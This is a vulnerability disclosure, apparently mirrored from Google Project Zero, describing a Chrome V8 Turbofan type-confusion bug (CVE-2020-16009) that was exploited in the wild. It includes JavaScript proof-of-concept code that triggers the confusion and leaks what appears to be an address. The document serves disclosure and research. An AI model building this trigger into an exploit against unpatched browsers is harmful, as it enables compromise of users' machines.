Lucene search

K
packetstormSaeloPACKETSTORM:159974
HistoryNov 09, 2020 - 12:00 a.m.

Chrome V8 Turbofan Type Confusion

2020-11-0900:00:00
saelo
packetstormsecurity.com
338
`V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion  
  
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.  
  
VULNERABILITY DETAILS  
  
When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next  
  
bool Map::CanBeDeprecated() const {  
for (InternalIndex i : IterateOwnDescriptors()) {  
PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);  
if (details.representation().IsNone()) return true;  
if (details.representation().IsSmi()) return true;  
if (details.representation().IsDouble() && FLAG_unbox_double_fields) <---  
return true;  
if (details.representation().IsHeapObject()) return true;  
if (details.kind() == kData && details.location() == kDescriptor) {  
return true;  
}  
}  
return false;  
}  
  
As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated:  
  
// Requires --nomodify-field-representation-inplace  
  
function poc() {  
function hax(o) {  
o.a = 13.37;  
}  
  
let o1 = {};  
for (let i = 0; i < 100000; i++) {  
let o = i == 1000 ? {} : o1;  
hax(o);  
}  
  
let o2 = {};  
o2.a = {};  
// Map1 is now deprecated  
// %HaveSameMap(o2, o1) === false  
  
let o3 = {};  
hax(o3);  
// o3 was now transitioned to a deprecated map  
%DebugPrint(o3);  
// ...  
// - deprecated_map  
}  
%NeverOptimizeFunction(poc);  
poc();  
  
This code ends up performing a new transition to a deprecated map.  
  
This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to  
  
1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}  
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable  
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.  
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion.  
  
The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds.  
  
REPRODUCTION CASE  
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)  
// Requires --allow-natives-syntax  
  
function assert(c) {  
if (!c) { throw \"Assertion failed\"; }  
}  
  
function assertFalse(c) {  
assert(!c);  
}  
  
function poc() {  
function hax(o) {  
o.c = 13.37;  
}  
  
function makeObjWithMap5() {  
let o = {};  
o.a = 13.37;  
o.b = {};  
return o  
}  
  
// Create a bunch of Maps. See the assertions for their relationships  
  
let m1 = {};  
  
let m2 = {};  
assert(%HaveSameMap(m2, m1));  
m2.a = 13.37;  
  
let m3 = {};  
m3.a = 13.37;  
assert(%HaveSameMap(m3, m2));  
m3.b = 1;  
  
let m4 = {};  
m4.a = 13.37;  
m4.b = 1;  
assert(%HaveSameMap(m4, m3));  
m4.c = {};  
  
let m4_2 = {};  
m4_2.a = 13.37;  
m4_2.b = 1;  
m4_2.c = {};  
assert(%HaveSameMap(m4_2, m4));  
  
let m5 = {};  
m5.a = 13.37;  
assert(%HaveSameMap(m5, m2));  
m5.b = 13.37;  
assertFalse(%HaveSameMap(m5, m3));  
  
// At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.  
// Map5 is the migration target for Map3. The Migration target for Map4 is a new Map  
assertFalse(%HaveSameMap(m5, m3));  
  
let m6 = makeObjWithMap5();  
assert(%HaveSameMap(m6, m5));  
hax(m6);  
  
let kaputt = makeObjWithMap5();  
assert(%HaveSameMap(kaputt, m5));  
  
for (let i = 0; i < 100000; i++) {  
let o = i == 1337 ? makeObjWithMap5() : m6;  
hax(o);  
}  
  
// Map4 is deprecated, so this property access triggers a Map migration.  
// This will end up creating a new Map, Map7, to which both Map4 and Map6  
// migrate. Map5's transition entry afterwards points to Map7 and no  
// longer to Map6. Map6 is deprecated.  
let m7 = m4_2;  
assert(%HaveSameMap(m7, m4));  
m7.c;  
assertFalse(%HaveSameMap(m7, m4));  
  
// However, hax was not deoptimized and still transitions to Map6 because  
// Map::CanBeDeprecated returns false for it.  
  
// This does a in-place map generalization of Map5 and Map7, but not Map6.  
// Map6 still indicates that .a should be a double field.  
kaputt.a = \"asdf\";  
assert(%HaveSameMap(kaputt, m5));  
  
// This now migrates to the wrong map (Map6) because hax was not deoptimized.  
// This is incorrect because .a now stores a HeapObject and not a double.  
hax(kaputt);  
  
// This now fails in debug builds  
%HeapObjectVerify(kaputt);  
  
// This prints (presumably) an address in release builds  
console.log(kaputt.a);  
}  
%NeverOptimizeFunction(poc);  
  
poc();  
  
  
CREDIT INFORMATION  
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero  
  
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.  
  
[1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1  
[2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1  
  
  
Related CVE Numbers: CVE-2020-16009.  
  
  
  
Found by: [email protected]  
  
`